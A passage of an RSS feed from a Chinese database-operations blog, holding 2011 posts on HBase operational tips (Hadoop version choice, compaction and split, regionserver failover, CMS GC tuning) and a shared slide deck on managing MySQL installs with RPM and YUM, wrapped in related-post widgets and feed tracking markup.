<a href="http://feedads.g.doubleclick.net/~a/LUlHYe4spOINhFgM84nng1QIdwY/1/da"><img src="http://feedads.g.doubleclick.net/~a/LUlHYe4spOINhFgM84nng1QIdwY/1/di" border="0" ismap="true"></img></a></p>]]></content:encoded><wfw:commentRss>http://www.ningoo.net/html/2011/hbase_operation_tips.html/feed</wfw:commentRss><slash:comments>9</slash:comments><description>最近开始看HBase，幸运的是，现在HBase社区已经非常的活跃，网络上可以找到大量的参考资料。但对于大集群的运维经验，还有待积累。上周在团队内部简单分享了一下这段时间的读书总结，现... &lt;table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;"&gt;
    
    &lt;tr&gt;
        &lt;td colspan="5"&gt;&lt;b&gt;&lt;font size="-1"  style="display: block !important; padding: 20px 0 5px !important;"&gt;您可能也喜欢：&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;
    &lt;/tr&gt;
    
        &lt;tr&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important;"&gt;
                    &lt;a target="_blank" title="关于HBase的一些零碎事" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fsome_tips_about_hbase.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fhbase_operation_tips.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;关于HBase的一些零碎事&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="OOW2009美国行:大会第一天" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2009%2Foracle_open_world_2009_first_day.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fhbase_operation_tips.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14710532.jpg" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;OOW2009美国行:大会第一天&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="SSD硬盘的IO性能测试" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Fa_ssd_orion_test.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fhbase_operation_tips.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14710895.jpg" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;SSD硬盘的IO性能测试&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="奥运" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Folympic_games_beijing_2008.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fhbase_operation_tips.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/08/20/23696361.jpg" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;奥运&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="Cognos PowerPlay Transformer如何使用IQD做为数据源" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Fhow_to_use_iqd_data_source_on_powerplay_transformer.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fhbase_operation_tips.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14712422.jpg" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;Cognos PowerPlay Transformer如何使用IQD做为数据源&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
        &lt;/tr&gt;
    
    &lt;tr&gt;
        &lt;td colspan="5" align="right"&gt;
            &lt;a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件"&gt;
                &lt;font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;"&gt;无觅&lt;/font&gt;
            &lt;/a&gt;
        &lt;/td&gt;
    &lt;/tr&gt;
&lt;/table&gt;&lt;img src="http://www1.feedsky.com/t1/611199581/NinGoo/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/NinGoo/~1461473/611199581/1237504/1/item.html" border="0" height="0" width="0" style="position:absolute" /&gt;</description><category>运维</category><category>hbase</category><category>hadoop</category><category>技术</category><pubDate>Mon, 27 Jun 2011 15:19:39 +0800</pubDate><author>NinGoo</author><comments>http://www.ningoo.net/html/2011/hbase_operation_tips.html#comments</comments><guid isPermaLink="false">http://www.ningoo.net/?p=2194</guid><dc:creator>NinGoo</dc:creator><fs:srclink>http://www.ningoo.net/html/2011/hbase_operation_tips.html</fs:srclink><fs:srcfeed>http://www.ningoo.net/feed/</fs:srcfeed><fs:itemid>feedsky/NinGoo/~1461473/611199581/1237504</fs:itemid></item><item><title>关于HBase的一些零碎事</title><link>http://item.feedsky.com/~feedsky/NinGoo/~1461473/611199582/1237504/1/item.html</link><content:encoded><![CDATA[<p>随着<a href="http://highscalability.com/blog/2010/11/16/facebooks-new-real-time-messaging-system-hbase-to-store-135.html">Facebook使用HBase来构建实时消息系统</a>，基于Hadoop的面向列存储的HBase持续升温。</p>
<p>目前稳定版本的HBase0.90.2只能基于Hadoop0.20.x系列版本，暂不支持最新的0.21.x。而且官方版本的Hadoop0.20.2（或者0.203.0）缺少一个重要的特性，HDFS不支持sync模式的持久，这样HBase就有较大的丢失数据的风险。要在生产环境使用HBase，有两个选择，一是使用<a href="https://ccp.cloudera.com/display/SUPPORT/Downloads">Cloudera的CDH3版本</a>，Cloudera就类似MySQL的Percona，对官方版本的Hadoop做了很多改进工作，而且经典的《Hadoop：The Definitive Guide》一书的作者Tom White就是Cloudera的一员，这也和《High performance MySQL》一书的作者主要来是Percona一样。另外一种选择，就是自行编译Hadoop branch-0.20-append源码分支，这里有<a href="http://www.michael-noll.com/blog/2011/04/14/building-an-hadoop-0-20-x-version-for-hbase-0-90-2/">详细的说明</a>。</p>
<p>对于HBase这种类似BigTable的系统，其优化之一是消除了磁盘的随机写。付出的代价是将最新的数据保存在内存表中，对内存有较大的需求。如果内存表的数量较多，则每个内存表就会在较小的时候刷到磁盘，导致磁盘文件多而且小。范围读取数据的时候就会跨多个数据文件甚至多个节点。为提升读性能，系统都会设计有compaction操作。另外为了防止某些情况下数据文件过大（hbase.hregion.max.filesize，默认256M，太大的数据文件在compaction等操作是对内存的消耗更大），HBase也设计了split操作。Compaction和Split操作，对于在线应用的响应时间都容易造成波动，他们的策略需要根据应用的特性进行调整。建议在业务低峰期手工调整。</p>
<p>HBase的regionserver宕机超过一定时间后，HMaster会将其所管理的region重新分布到其他存活的regionserver，由于数据和日志都持久在HDFS中，因此该操作不会导致数据丢失。但是重新分配的region需要根据日志恢复原regionserver中的内存表，这会导致宕机的region在这段时间内无法对外提供服务。而一旦重分布，宕机的节点起来后就相当于一个新的regionserver加入集群，为了平衡，需要再次将某些region分布到该server。 因此这个超时建议根据情况进行调整，一般情况下，宕机重启后即可恢复，如果重启需要10分钟，region重分布加恢复的时间要超过5分钟，那么还不如等节点重启。Region Server的内存表memstore如何在节点间做到更高的可用，是HBase的一个较大的挑战。Oceanbase也是采用内存表保持最新的更新数据，和HBase不同的是，Oceanbase使用的是集中的UpdateServer，只需要全力做好UpdateServer的容灾切换即可对业务连续性做到最小影响。分布还是集中，哪些功能分布，哪些功能集中，各自取不同平衡，是目前大部分分布式数据库或者存储的一个主要区别。当然，像Cassandra这种全分布的，架构上看起来很完美，实际应用起来反而问题更多。</p>
<p>对于java应用，线上运维最大的挑战之一就是heap内存管理。GC的不同方式，以及使用内存表和cache对内存的消耗，可能导致局部阻塞应用或者stop the world全局阻塞或者OOM。因此HBase的很多参数设置都是针对这两种情况。HBase使用了较新的CMS GC（-XX:+UseConcMarkSweepGC -XX:+CMSIncrementalMode）。</p>
<blockquote><p>默认触发GC的时机是当年老代内存达到90%的时候，这个百分比由 -XX:CMSInitiatingOccupancyFraction=N 这个参数来设置。concurrent mode failed发生在这样一个场景：<br />
当年老代内存达到90%的时候，CMS开始进行并发垃圾收集，于此同时，新生代还在迅速不断地晋升对象到年老代。当年老代CMS还未完成并发标记时，年老代满了，悲剧就发生了。CMS因为没内存可用不得不暂停mark，并触发一次全jvm的stop the world（挂起所有线程），然后采用单线程拷贝方式清理所有垃圾对象。这个过程会非常漫长。为了避免出现concurrent mode failed，我们应该让GC在未到90%时，就触发。</p>
<p>通过设置 -XX:CMSInitiatingOccupancyFraction=N</p>
<p>这个百分比， 可以简单的这么计算。如果你的 hfile.block.cache.size 和 hbase.regionserver.global.memstore.upperLimit 加起来有60%（默认），那么你可以设置 70-80，一般高10%左右差不多。</p></blockquote>
<p>（以上CMS GC的说明引自<a href="http://kenwublog.com/hbase-performance-tuning">HBase性能调优</a>）</p>
<p>目前关于HBase的书不多，《Hadoop： The Definitive Guide》第二版有一章，另外最权威的要算<a href="http://hbase.apache.org/book.html#start_hbase">官方的这本电子书</a>了。</p>
<p>这篇是最近看HBase过程中的一些零碎的东西，记录于此备忘。</p>
<table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;">
    
    <tr>
        <td colspan="5"><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
        <tr>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important;">
                    <a target="_blank" title="HBase运维碎碎念" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fhbase_operation_tips.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fsome_tips_about_hbase.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">HBase运维碎碎念</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="在Redhat Entrerprise Linux 5上安装Oracle11g截图欣赏" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Finstall_oracle11g_on_redhat_enterprise_linux_5_snapshot.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fsome_tips_about_hbase.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14712464.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">在Redhat Entrerprise Linux 5上安装Oracle11g截图欣赏</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Apache Derby Database介绍" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Fan_introduction_to_apache_derby_database.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fsome_tips_about_hbase.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14709659.png" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Apache Derby Database介绍</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Cognos DecisionStream简介(一)" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Fintroduce_cognos_decisionstream.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fsome_tips_about_hbase.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/09/07/28771548.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Cognos DecisionStream简介(一)</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="使用MySQL Proxy和MySQL Replication实现读写分离" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Fusing_mysql_proxy_for_read_write_splitting.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fsome_tips_about_hbase.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14711320.png" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">使用MySQL Proxy和MySQL Replication实现读写分离</font>
                    </a>
                </td>
        </tr>
    
    <tr>
        <td colspan="5" align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table><img src="http://www1.feedsky.com/t1/611199582/NinGoo/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/NinGoo/~1461473/611199582/1237504/1/item.html" border="0" height="0" width="0" style="position:absolute" />
<p><a href="http://feedads.g.doubleclick.net/~a/wQEgHmog4wxVxTxygwl4zplwe_U/0/da"><img src="http://feedads.g.doubleclick.net/~a/wQEgHmog4wxVxTxygwl4zplwe_U/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/wQEgHmog4wxVxTxygwl4zplwe_U/1/da"><img src="http://feedads.g.doubleclick.net/~a/wQEgHmog4wxVxTxygwl4zplwe_U/1/di" border="0" ismap="true"></img></a></p>]]></content:encoded><wfw:commentRss>http://www.ningoo.net/html/2011/some_tips_about_hbase.html/feed</wfw:commentRss><slash:comments>2</slash:comments><description>随着Facebook使用HBase来构建实时消息系统，基于Hadoop的面向列存储的HBase持续升温。 目前稳定版本的HBase0.90.2只能基于Hadoop0.20.x系列版本，暂不支持最新的0.21.x。而且官方版本的Hadoop0.20.2（或者0.... &lt;table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;"&gt;
    
    &lt;tr&gt;
        &lt;td colspan="5"&gt;&lt;b&gt;&lt;font size="-1"  style="display: block !important; padding: 20px 0 5px !important;"&gt;您可能也喜欢：&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;
    &lt;/tr&gt;
    
        &lt;tr&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important;"&gt;
                    &lt;a target="_blank" title="HBase运维碎碎念" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fhbase_operation_tips.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fsome_tips_about_hbase.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;HBase运维碎碎念&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="用Amoeba构架MySQL分布式数据库环境" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2009%2Famoeba_for_mysql_distribute_environment.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fsome_tips_about_hbase.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14710815.jpg" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;用Amoeba构架MySQL分布式数据库环境&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="OOW2009美国行:启程" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2009%2Foracle_open_world_2009_departure.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fsome_tips_about_hbase.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14710578.jpg" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;OOW2009美国行:启程&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="入手Canon 450D" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Fbuy_canon_450d.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fsome_tips_about_hbase.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14710985.jpg" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;入手Canon 450D&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="东南亚之旅：越南与柬埔寨（二）" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fsoutheast_of_asia_viet_nam_and_combodia_2.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fsome_tips_about_hbase.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14709699.jpg" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;东南亚之旅：越南与柬埔寨（二）&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
        &lt;/tr&gt;
    
    &lt;tr&gt;
        &lt;td colspan="5" align="right"&gt;
            &lt;a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件"&gt;
                &lt;font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;"&gt;无觅&lt;/font&gt;
            &lt;/a&gt;
        &lt;/td&gt;
    &lt;/tr&gt;
&lt;/table&gt;&lt;img src="http://www1.feedsky.com/t1/611199582/NinGoo/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/NinGoo/~1461473/611199582/1237504/1/item.html" border="0" height="0" width="0" style="position:absolute" /&gt;</description><category>hbase</category><category>cloudera</category><category>Cassandra</category><category>oceanbase</category><category>hadoop</category><category>技术</category><pubDate>Sat, 18 Jun 2011 10:15:27 +0800</pubDate><author>NinGoo</author><comments>http://www.ningoo.net/html/2011/some_tips_about_hbase.html#comments</comments><guid isPermaLink="false">http://www.ningoo.net/?p=2178</guid><dc:creator>NinGoo</dc:creator><fs:srclink>http://www.ningoo.net/html/2011/some_tips_about_hbase.html</fs:srclink><fs:srcfeed>http://www.ningoo.net/feed/</fs:srcfeed><fs:itemid>feedsky/NinGoo/~1461473/611199582/1237504</fs:itemid></item><item><title>使用RPM&amp;YUM进行基础软件管理</title><link>http://item.feedsky.com/~feedsky/NinGoo/~1461473/611199583/1237504/1/item.html</link><content:encoded><![CDATA[<p>上周花时间研究了下RPM打包的方法，今天和团队分享了一次。之前我们采用shell脚本进行批量的MySQL安装，虽然通过不断改进的脚本，批量安装部署的效率已经算不错。但即使是安装MySQL这样简单的事情，不断提升效率，在大规模的环境中也是会带来更多的收益。</p>
<p>追求简单，做到极致，共勉之。</p>
<div style="width:425px" id="__ss_8093169"> <strong style="display:block;margin:12px 0 4px"><a href="http://www.slideshare.net/NinGoo/rpmyum-8093169" title="使用Rpm&amp;yum进行基础软件管理">使用Rpm&amp;yum进行基础软件管理</a></strong> <iframe src="http://www.slideshare.net/slideshow/embed_code/8093169" width="425" height="355" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
<div style="padding:5px 0 12px"> View more <a href="http://www.slideshare.net/">presentations</a> from <a href="http://www.slideshare.net/NinGoo">seaman ning</a> </div>
</p></div>
<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Frpm_error_specifies_multiple-packages.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fusing_rpm_yum_for_mysql_install.html">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">卸载rpm包遭遇error: specifies multiple packages</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Faix_concept_system_resource_controller.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fusing_rpm_yum_for_mysql_install.html">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">AIX基础知识：系统资源控制器(System Resource Controller)</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Faix_virtual_memory_management_mechanism.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fusing_rpm_yum_for_mysql_install.html">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">AIX虚拟内存管理机制</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Foracle10gr2_logical_standby_managing_and_tuning.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fusing_rpm_yum_for_mysql_install.html">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Oracle10gR2 Logical Standby(七)日常管理与优化</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Faix_5l_network_interface.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fusing_rpm_yum_for_mysql_install.html">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">AIX 5L网卡管理与配置</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table><img src="http://www1.feedsky.com/t1/611199583/NinGoo/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/NinGoo/~1461473/611199583/1237504/1/item.html" border="0" height="0" width="0" style="position:absolute" />
